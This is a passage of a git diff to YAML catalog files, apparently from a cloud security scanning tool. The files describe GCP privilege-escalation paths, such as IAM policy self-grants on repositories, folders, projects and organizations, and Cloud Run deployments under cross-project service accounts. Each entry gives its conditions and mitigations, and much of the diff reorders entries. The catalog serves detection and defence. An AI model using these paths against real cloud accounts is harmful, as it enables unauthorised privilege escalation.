unresolved placeholders). - id: gcp-domains-configuredns-workspace-admin-recovery provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml index 441d5edec0..905794bef3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml @@ -1,5 +1,5 @@ -# A signed custom-token path needs reviewed evidence of the exact Firebase user, -# an accepted token exchange, and newly allowed application access. +# An account update is only an identity pivot when reviewed evidence proves the +# exact Firebase user, a usable new sign-in credential, and newly allowed access. # Canonical policy: peaso/privesc/catalog_policy.yaml - id: gcp-firebase-signblob-exact-custom-token-user provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml index bca288bbb2..3b77b09d21 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml @@ -2,7 +2,7 @@ # GCP Cluster Director (hypercomputecluster) privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-cluster-director-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# attached_to_service: hypercomputecluster_cluster -> the SA on an inventoried running Slurm login VM explicitly named by an existing Cluster +# attached_to_service: hypercomputecluster_cluster -> the SA attached to the Slurm login-node VMs of an existing Cluster # ("{target.host_resource}" = that Cluster). - id: gcp-hypercomputecluster-login-node-startup-actas provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml index a0818f7baf..5d35e0e6c8 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml @@ -1,37 +1,5 @@ -# GCP resource IAM self-grants. Every entry requires a concrete policy-write action. Artifact Registry, Secret Manager, Cloud KMS, Compute disks, and Pub/Sub also model prospective grants on inventoried resources when current access and policy blockers are checked. Other entries may require typed reviewed evidence of a new effective permission on an exact resource. A policy write alone, or a mere data read, never creates a named path. +# GCP resource IAM self-grants. Each entry requires a concrete policy-write action and typed reviewed evidence of a new effective permission to the same source principal on an exact resource governed by the policy. A policy write alone, or a mere data read, never creates a path. # Canonical policy: peaso/privesc/catalog_policy.yaml -- id: gcp-artifactregistry-repositories-setiampolicy-repository-self-grant - provider: gcp - source_kind: - - gcp_user - - gcp_service_account - service: artifactregistry - title: Self-grant upload access to an Artifact Registry repository - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository - source_revision: 171e422 - summary: The source can change an inventoried repository's IAM policy to grant itself upload access on that repository when it lacks that permission. - requires: - all_of: - - action: artifactregistry.repositories.setIamPolicy - resource: '{target.policy_resource}' - target: - kind: gcp_verified_authority - selector: - gcp_resource_self_grant: true - scope: any - outcome: permission_grant - grants: - - artifactregistry.repositories.uploadArtifacts - aggregate_as: Repository upload access the source could grant itself - conditions: - - id: exact_repository_policy - description: Requires an inventoried standard repository, policy-write authority on that repository, and no current upload grant; incomplete IAM, group, org policy, or deny evidence leaves the path unresolved. - blockers: - - gcp_deny_policy - confidence: conditional - severity: high - mitigation: Restrict artifactregistry.repositories.setIamPolicy on repositories with sensitive artifacts or trusted consumers and review self-directed IAM policy changes. - notes: A repository Writer role can be granted on one repository. The path is conditional until the IAM mutation succeeds; a reviewed accepted mutation can provide direct evidence. - id: gcp-connectors-connections-setiampolicy-connection-self-grant provider: gcp service: connectors @@ -812,38 +780,6 @@ mitigation: Restrict bigtable.instances.setIamPolicy on protected instance resources and review self-directed IAM policy changes. notes: The prospective grant is conditional until the IAM change succeeds and is limited to the inventoried instance. It does not grant project IAM control or other instances. Incomplete evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. -- id: gcp-bigtable-instances-setiampolicy-instance-admin-self-grant - provider: gcp - source_kind: - - gcp_user - - gcp_service_account - service: bigtable - title: Self-grant Bigtable instance administration - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance - source_revision: a1de13ac34 - summary: The caller can change a ready instance's IAM policy to grant itself instance update access when it lacked that access. - requires: - all_of: - - action: bigtable.instances.setIamPolicy - resource: '{target.policy_resource}' - target: - kind: gcp_verified_authority - selector: - gcp_resource_self_grant: true - scope: any - outcome: permission_grant - grants: - - bigtable.instances.update - aggregate_as: Instance administration the caller could grant itself - conditions: - - id: exact_instance_policy - description: Requires an inventoried ready instance, exact policy-write authority, no current instance update permission, and complete instance, IAM, group, org policy, and deny evidence. - blockers: - - gcp_deny_policy - confidence: conditional - severity: high - mitigation: Restrict bigtable.instances.setIamPolicy on instances and review self-directed IAM policy changes. - notes: This captures an instance-level permission gain even when the instance has no tables. The prospective grant is conditional until the IAM change succeeds and does not grant project IAM control. - id: gcp-bigtable-tables-setiampolicy-table-self-grant provider: gcp service: bigtable @@ -1314,37 +1250,6 @@ mitigation: Restrict networkconnectivity.hubs.setIamPolicy on protected hub resources and review self-directed IAM policy changes. notes: The gcp_resource_self_grant_evidence record must prove this exact hub-level permission gain. A separate hub-level groupUser grant can allow group use, but it does not imply hubs.update. -- id: gcp-networkconnectivity-hubs-setiampolicy-group-use-self-grant - provider: gcp - service: networkconnectivity - title: Grant self group use through a hub IAM policy - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants - source_revision: a1de13ac34 - summary: A principal that can write a named hub IAM policy may grant itself roles/networkconnectivity.groupUser on that hub and gain use of its observed groups, provided it lacks that access already. - requires: - all_of: - - action: networkconnectivity.hubs.setIamPolicy - resource: '{target.policy_resource}' - target: - kind: gcp_verified_authority - selector: - gcp_resource_self_grant: true - scope: any - outcome: permission_grant - grants: - - networkconnectivity.groups.use - aggregate_as: Group use through {target.policy_resource} - conditions: - - id: exact_hub_group - description: Needs a unique named hub and child group, readable hub and group policies, an effective hub-level policy write and read, a known groupUser role, and no prior group-use grant. - - id: attachment_prerequisites - description: Using the new group permission to attach a spoke also requires authority over the spoke and its referenced network. - blockers: - - gcp_deny_policy - confidence: conditional - severity: high - mitigation: Restrict hub IAM policy writes and review grants of groupUser on hubs. - notes: Google documents granting roles/networkconnectivity.groupUser on a hub. This grants group use on that hub, not hub update or unrestricted spoke creation. - id: gcp-networkconnectivity-groups-setiampolicy-group-self-grant provider: gcp service: networkconnectivity @@ -1834,3 +1739,98 @@ mitigation: Restrict contactcenterinsights.authorizedViews.setIamPolicy and review self-directed authorized-view policy changes. notes: View access is an IAM permission gain. Whether matching conversations exist remains conditional. +- id: gcp-artifactregistry-repositories-setiampolicy-repository-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: artifactregistry + title: Self-grant upload access to an Artifact Registry repository + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can change an inventoried repository's IAM policy to grant itself upload access on that repository when it lacks that permission. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - artifactregistry.repositories.uploadArtifacts + aggregate_as: Repository upload access the source could grant itself + conditions: + - id: exact_repository_policy + description: Requires an inventoried standard repository, policy-write authority on that repository, and no current upload grant; incomplete IAM, group, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy on repositories with sensitive artifacts or trusted consumers and review self-directed IAM policy changes. + notes: A repository Writer role can be granted on one repository. The path is conditional until the IAM mutation succeeds; a reviewed accepted mutation can provide direct evidence. +- id: gcp-bigtable-instances-setiampolicy-instance-admin-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable instance administration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + source_revision: a1de13ac34 + summary: The caller can change a ready instance's IAM policy to grant itself instance update access when it lacked that access. + requires: + all_of: + - action: bigtable.instances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.instances.update + aggregate_as: Instance administration the caller could grant itself + conditions: + - id: exact_instance_policy + description: Requires an inventoried ready instance, exact policy-write authority, no current instance update permission, and complete instance, IAM, group, org policy, and deny evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.instances.setIamPolicy on instances and review self-directed IAM policy changes. + notes: This captures an instance-level permission gain even when the instance has no tables. The prospective grant is conditional until the IAM change succeeds and does not grant project IAM control. +- id: gcp-networkconnectivity-hubs-setiampolicy-group-use-self-grant + provider: gcp + service: networkconnectivity + title: Grant self group use through a hub IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A principal that can write a named hub IAM policy may grant itself roles/networkconnectivity.groupUser on that hub and gain use of its observed groups, provided it lacks that access already. + requires: + all_of: + - action: networkconnectivity.hubs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.groups.use + aggregate_as: Group use through {target.policy_resource} + conditions: + - id: exact_hub_group + description: Needs a unique named hub and child group, readable hub and group policies, an effective hub-level policy write and read, a known groupUser role, and no prior group-use grant. + - id: attachment_prerequisites + description: Using the new group permission to attach a spoke also requires authority over the spoke and its referenced network. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict hub IAM policy writes and review grants of groupUser on hubs. + notes: Google documents granting roles/networkconnectivity.groupUser on a hub. This grants group use on that hub, not hub update or unrestricted spoke creation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml index 61acc2d1c3..ad00593e7d 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml @@ -39,19 +39,19 @@ references: - https://cloud.google.com/resource-manager/docs/access-control-org -- id: gcp-resourcemanager-organizations-setiampolicy-deny-admin +- id: gcp-resourcemanager-folders-setiampolicy provider: gcp source_kind: - gcp_user - gcp_service_account service: resourcemanager - title: Self-grant Deny Admin access on an organization + title: Self-grant Folder Admin access on a folder source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node source_revision: 171e422 - summary: A principal that can change an active organization's IAM policy may grant itself Deny Admin when it lacks the permission to create deny policies. + summary: A principal that can change an active folder's IAM policy may grant itself Folder Admin when it lacks at least one supported folder permission. requires: all_of: - - action: resourcemanager.organizations.setIamPolicy + - action: resourcemanager.folders.setIamPolicy resource: "{target.policy_resource}" target: kind: gcp_verified_authority @@ -60,33 +60,36 @@ scope: any outcome: permission_grant grants: - - iam.denypolicies.create - aggregate_as: "Deny-policy administration permission the source could grant itself" + - resourcemanager.folders.create + - resourcemanager.folders.delete + - resourcemanager.folders.move + - resourcemanager.folders.update + - resourcemanager.folders.undelete + - resourcemanager.projects.setIamPolicy + aggregate_as: "Folder Admin permissions the source could grant itself" conditions: - id: allowed_member_domains - description: Effective member restrictions can reject the new role binding. + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. blockers: - gcp_deny_policy confidence: conditional - severity: high - mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. - notes: The prospective path requires the active organization and full IAM policy, the grantable Deny Admin role, a newly effective deny-policy permission, and resolved IAM, member, deny, group, and PAB evidence. - references: - - https://cloud.google.com/iam/docs/roles-permissions/iam + severity: critical + mitigation: Restrict roles/resourcemanager.folderAdmin and roles/resourcemanager.folderIamAdmin. + notes: The prospective path requires an active exact folder, its complete IAM policy, a grantable Folder Admin role, a new effective permission on that folder or a known descendant project, and no unresolved IAM or policy blockers. The policy change has not been executed. -- id: gcp-resourcemanager-organizations-setiampolicy-role-admin +- id: gcp-resourcemanager-projects-setiampolicy provider: gcp source_kind: - gcp_user - gcp_service_account service: resourcemanager - title: Self-grant Organization Role Administrator access + title: Self-grant Editor access on a project source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node source_revision: 171e422 - summary: A principal that can change an active organization's IAM policy may grant itself Organization Role Administrator when it lacks permission to create custom roles. + summary: A principal that can change an active project's IAM policy may grant itself Editor when that role adds at least one permission it lacks at the project. requires: all_of: - - action: resourcemanager.organizations.setIamPolicy + - action: resourcemanager.projects.setIamPolicy resource: "{target.policy_resource}" target: kind: gcp_verified_authority @@ -95,33 +98,33 @@ scope: any outcome: permission_grant grants: - - iam.roles.create - aggregate_as: "Organization custom-role administration permission the source could grant itself" + - roles/editor + aggregate_as: "Editor role the source could grant itself on a project" conditions: - id: allowed_member_domains - description: Effective member restrictions can reject the new role binding. + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + - id: default_service_account_basic_role_block + description: iam.managed.preventPrivilegedBasicRolesForDefaultServiceAccounts can reject Editor grants to default service accounts. blockers: - gcp_deny_policy confidence: conditional - severity: high - mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. - notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Role Administrator role, a newly effective custom-role permission, and resolved IAM, member, deny, group, and PAB evidence. - references: - - https://cloud.google.com/iam/docs/roles-permissions/iam + severity: critical + mitigation: Restrict roles/resourcemanager.projectIamAdmin, roles/iam.securityAdmin and roles/owner. + notes: The prospective path needs an active exact project, its complete IAM policy, a complete grantable Editor role, a new effective permission, and resolved IAM conditions, member and basic-role restrictions, deny, group, and PAB evidence. Other project roles may provide different new permissions and need separate evidence. -- id: gcp-resourcemanager-folders-setiampolicy +- id: gcp-resourcemanager-organizations-setiampolicy-deny-admin provider: gcp source_kind: - gcp_user - gcp_service_account service: resourcemanager - title: Self-grant Folder Admin access on a folder + title: Self-grant Deny Admin access on an organization source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node source_revision: 171e422 - summary: A principal that can change an active folder's IAM policy may grant itself Folder Admin when it lacks at least one supported folder permission. + summary: A principal that can change an active organization's IAM policy may grant itself Deny Admin when it lacks the permission to create deny policies. requires: all_of: - - action: resourcemanager.folders.setIamPolicy + - action: resourcemanager.organizations.setIamPolicy resource: "{target.policy_resource}" target: kind: gcp_verified_authority @@ -130,36 +133,33 @@ scope: any outcome: permission_grant grants: - - resourcemanager.folders.create - - resourcemanager.folders.delete - - resourcemanager.folders.move - - resourcemanager.folders.update - - resourcemanager.folders.undelete - - resourcemanager.projects.setIamPolicy - aggregate_as: "Folder Admin permissions the source could grant itself" + - iam.denypolicies.create + aggregate_as: "Deny-policy administration permission the source could grant itself" conditions: - id: allowed_member_domains - description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + description: Effective member restrictions can reject the new role binding. blockers: - gcp_deny_policy confidence: conditional - severity: critical - mitigation: Restrict roles/resourcemanager.folderAdmin and roles/resourcemanager.folderIamAdmin. - notes: The prospective path requires an active exact folder, its complete IAM policy, a grantable Folder Admin role, a new effective permission on that folder or a known descendant project, and no unresolved IAM or policy blockers. The policy change has not been executed. + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Deny Admin role, a newly effective deny-policy permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam -- id: gcp-resourcemanager-projects-setiampolicy +- id: gcp-resourcemanager-organizations-setiampolicy-role-admin provider: gcp source_kind: - gcp_user - gcp_service_account service: resourcemanager - title: Self-grant Editor access on a project + title: Self-grant Organization Role Administrator access source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node source_revision: 171e422 - summary: A principal that can change an active project's IAM policy may grant itself Editor when that role adds at least one permission it lacks at the project. + summary: A principal that can change an active organization's IAM policy may grant itself Organization Role Administrator when it lacks permission to create custom roles. requires: all_of: - - action: resourcemanager.projects.setIamPolicy + - action: resourcemanager.organizations.setIamPolicy resource: "{target.policy_resource}" target: kind: gcp_verified_authority @@ -168,19 +168,19 @@ scope: any outcome: permission_grant grants: - - roles/editor - aggregate_as: "Editor role the source could grant itself on a project" + - iam.roles.create + aggregate_as: "Organization custom-role administration permission the source could grant itself" conditions: - id: allowed_member_domains - description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. - - id: default_service_account_basic_role_block - description: iam.managed.preventPrivilegedBasicRolesForDefaultServiceAccounts can reject Editor grants to default service accounts. + description: Effective member restrictions can reject the new role binding. blockers: - gcp_deny_policy confidence: conditional - severity: critical - mitigation: Restrict roles/resourcemanager.projectIamAdmin, roles/iam.securityAdmin and roles/owner. - notes: The prospective path needs an active exact project, its complete IAM policy, a complete grantable Editor role, a new effective permission, and resolved IAM conditions, member and basic-role restrictions, deny, group, and PAB evidence. Other project roles may provide different new permissions and need separate evidence. + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Role Administrator role, a newly effective custom-role permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam - id: gcp-resourcemanager-projects-setiampolicy-project-delete provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml index 334c1fdb0d..1964286f77 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml @@ -45,42 +45,6 @@ - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list notes: New code can run during container startup; request-time code additionally needs an invoker or a public service. -- id: gcp-run-services-create-cross-project-actas - provider: gcp - service: run - title: Deploy a Cloud Run service with a cross-project service account - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke - source_revision: 171e422 - summary: The source may run a new Cloud Run service under a service account from another project when the target project allows cross-project attachment and the Cloud Run service agent can mint its tokens. - requires: - all_of: - - action: iam.serviceAccounts.actAs - resource: "{target.email}" - target: - kind: gcp_service_account - selector: - gcp_actas_granted_on_target: true - gcp_cross_project_run_service: true - scope: any - aggregate_as: "Service accounts attachable to new Cloud Run services in another project" - conditions: - - id: host_service_create - description: The host project must grant service creation and have the Cloud Run API enabled. - - id: cross_project_service_agent - description: The project creating the service must grant its Cloud Run service agent Service Account Token Creator on the target service account. - - id: cross_project_org_policy - description: The effective iam.disableCrossProjectServiceAccountUsage policy on the target service account's project must be unenforced. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Restrict cross-project service account attachment, Cloud Run service-agent token grants, and deployer actAs permissions to the intended projects. - references: - - https://cloud.google.com/run/docs/configuring/services/service-identity - - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list - notes: The selector joins a project-scoped create grant and enabled API in the same host project before checking target policy and service-agent token rights. - - id: gcp-run-services-update-actas provider: gcp service: run @@ -183,44 +147,6 @@ - https://docs.cloud.google.com/run/docs/execute/jobs notes: Omitting the SA does not bypass actAs; it is enforced on the Compute default SA. A job created in the project inherits project-level run permission. No ingress is needed. -- id: gcp-run-jobs-create-run-cross-project-actas - provider: gcp - service: run - title: Create and execute a Cloud Run job with a cross-project service account - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget - source_revision: 171e422 - summary: The source may execute a new job under a service account from another project when cross-project attachment is allowed and the Cloud Run service agent can mint its tokens. - requires: - all_of: - - action: iam.serviceAccounts.actAs - resource: "{target.email}" - target: - kind: gcp_service_account - selector: - gcp_actas_granted_on_target: true - gcp_cross_project_run_job: true - scope: any - aggregate_as: "Service accounts usable by jobs in another project" - conditions: - - id: same_host_job_execution - description: The host project must grant both job creation and execution for a newly created job. - - id: cloud_run_api - description: The Cloud Run API must be enabled in the host project. - - id: cross_project_service_agent - description: The job project's Cloud Run service agent must have Service Account Token Creator on the target service account. - - id: cross_project_org_policy - description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Limit cross-project attachment, service-agent token grants, and deployer actAs to intended projects and service accounts. - references: - - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity - - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list - notes: The selector joins create and run in one collected host project with an enabled Cloud Run API, then checks the target project's policy and the host service agent's token access. - - id: gcp-run-jobs-update-run-actas provider: gcp service: run @@ -355,42 +281,6 @@ severity: critical mitigation: Grant actAs only on specific SAs and restrict run.instances create/update (roles/run.editor, roles/run.admin). notes: The create path checks project permission. The update path checks permission on an exact, undeleted instance and its readiness or start permission. This same-project path is conditional because instance availability and code execution still depend on Cloud Run. -- id: gcp-run-instances-create-update-cross-project-actas - provider: gcp - service: run - title: Deploy or update a Cloud Run instance with a cross-project service account - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas - source_revision: 6fb9ac51fd - summary: The source may run an instance under a service account from another project when the host action, cross-project attachment policy, and Cloud Run service-agent token grant all allow it. - requires: - all_of: - - action: iam.serviceAccounts.actAs - resource: "{target.email}" - target: - kind: gcp_service_account - selector: - gcp_actas_granted_on_target: true - gcp_cross_project_run_instance: true - scope: any - aggregate_as: "Service accounts usable by Cloud Run instances in another project" - conditions: - - id: preview_feature - description: Cloud Run instances are a preview resource and must be available in the host project and region. - - id: cross_project_service_agent - description: The host project's Cloud Run service agent must have Service Account Token Creator on the target service account. - - id: cross_project_org_policy - description: The service-account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. - - id: update_requires_existing - description: The update path needs an exact undeleted instance that is ready or can be started by the source. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Limit instance create or update rights, service-account actAs, cross-project attachment, and service-agent token grants to intended resources. - references: - - https://docs.cloud.google.com/run/docs/configuring/instances/service-identity - notes: The create path checks project permission. The update path checks the exact existing instance and its state. The target service account belongs to another project. - id: gcp-run-jobs-setiampolicy provider: gcp service: run @@ -538,3 +428,113 @@ - https://docs.cloud.google.com/run/docs/configuring/workerpools/service-identity - https://docs.cloud.google.com/run/docs/reference/rest/v2/projects.locations.workerPools notes: Policy write alone is insufficient; the selector checks the new update permission on the same pool. +- id: gcp-run-services-create-cross-project-actas + provider: gcp + service: run + title: Deploy a Cloud Run service with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicescreate--iamserviceaccountsactas-runroutesinvoke + source_revision: 171e422 + summary: The source may run a new Cloud Run service under a service account from another project when the target project allows cross-project attachment and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_service: true + scope: any + aggregate_as: "Service accounts attachable to new Cloud Run services in another project" + conditions: + - id: host_service_create + description: The host project must grant service creation and have the Cloud Run API enabled. + - id: cross_project_service_agent + description: The project creating the service must grant its Cloud Run service agent Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The effective iam.disableCrossProjectServiceAccountUsage policy on the target service account's project must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cross-project service account attachment, Cloud Run service-agent token grants, and deployer actAs permissions to the intended projects. + references: + - https://cloud.google.com/run/docs/configuring/services/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins a project-scoped create grant and enabled API in the same host project before checking target policy and service-agent token rights. + +- id: gcp-run-jobs-create-run-cross-project-actas + provider: gcp + service: run + title: Create and execute a Cloud Run job with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobscreate-runjobsrun-iamserviceaccountsactasrunjobsget + source_revision: 171e422 + summary: The source may execute a new job under a service account from another project when cross-project attachment is allowed and the Cloud Run service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_job: true + scope: any + aggregate_as: "Service accounts usable by jobs in another project" + conditions: + - id: same_host_job_execution + description: The host project must grant both job creation and execution for a newly created job. + - id: cloud_run_api + description: The Cloud Run API must be enabled in the host project. + - id: cross_project_service_agent + description: The job project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit cross-project attachment, service-agent token grants, and deployer actAs to intended projects and service accounts. + references: + - https://docs.cloud.google.com/run/docs/configuring/jobs/service-identity + - https://docs.cloud.google.com/service-usage/docs/reference/rest/v1/services/list + notes: The selector joins create and run in one collected host project with an enabled Cloud Run API, then checks the target project's policy and the host service agent's token access. + +- id: gcp-run-instances-create-update-cross-project-actas + provider: gcp + service: run + title: Deploy or update a Cloud Run instance with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runservicesupdate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source may run an instance under a service account from another project when the host action, cross-project attachment policy, and Cloud Run service-agent token grant all allow it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_run_instance: true + scope: any + aggregate_as: "Service accounts usable by Cloud Run instances in another project" + conditions: + - id: preview_feature + description: Cloud Run instances are a preview resource and must be available in the host project and region. + - id: cross_project_service_agent + description: The host project's Cloud Run service agent must have Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The service-account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: update_requires_existing + description: The update path needs an exact undeleted instance that is ready or can be started by the source. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit instance create or update rights, service-account actAs, cross-project attachment, and service-agent token grants to intended resources. + references: + - https://docs.cloud.google.com/run/docs/configuring/instances/service-identity + notes: The create path checks project permission. The update path checks the exact existing instance and its state. The target service account belongs to another project. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml index 1f0eb53242..b3349b743a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml @@ -4,3 +4,4 @@ # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. # attached_to_service: saasservicemgmt_unit -> the actuation_sa input variable of an existing provisioned Unit # ("{target.host_resource}" = that Unit); Unit inventory is not collected. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml index 7f07b141de..d70dd91b0d 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml @@ -1,2 +1,7 @@ -# Manual-only Secure Source Manager paths are recorded in _excluded.yaml. +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Secure Source Manager privilege escalation techniques (repository write into CI/CD). +# 